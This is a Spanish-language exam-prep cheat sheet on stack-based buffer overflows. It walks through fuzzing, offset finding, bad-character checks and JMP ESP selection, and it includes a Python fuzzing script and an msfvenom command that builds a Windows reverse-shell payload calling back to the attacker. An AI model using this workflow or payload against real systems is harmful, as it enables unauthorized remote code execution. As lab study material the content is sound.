Buffer Overflow (Stack Based)¶
[!warning] Legacy but Vital Aunque el nuevo examen enfoca en AD, el BOF puede aparecer en la parte de desafíos. Metodología: Fuzz -> Crash -> Offset -> Badchars -> Shellcode -> Exploit. Herramienta: Immunity Debugger + Mona.py.
1. Fuzzing¶
Enviar caracteres 'A' hasta que el programa pete y sobrescriba EIP.
# Script rápido de Python
import socket, time, sys
ip = "10.10.x.x"
port = 9999
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
2. Offset (EIP Control)¶
- Crear Pattern:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <CRASH_LEN> - Enviar Pattern en vez de 'A's.
- En Mona:
!mona findmsp -distance <CRASH_LEN> - Resultado:
EIP contains normal pattern : ... (offset 2003)
3. Bad Characters¶
Caracteres que rompen la shellcode (ej: \x00 siempre es malo).
1. Genera bytearray en mona: !mona bytearray -b "\x00"
2. Envía todos los caracteres \x01 a \xff tras el offset.
3. Compara: !mona compare -f C:\mona\app\bytearray.bin -a <ESP_ADDRESS>
4. Repite eliminando los malos hasta que salga "Unmodified".
4. Finding JMP ESP¶
Necesitamos una dirección que salte a nuestra shellcode (en el stack).
Elige una dirección sin protecciones (ASLR/DEP false). Ej:0x625011af.
5. Shellcode & Exploit¶
Generar payload (sin badchars).
msfvenom -p windows/shell_reverse_tcp LHOST=<TUN0_IP> LPORT=443 EXITFUNC=thread -b "\x00\x0a..." -f c
Script Final: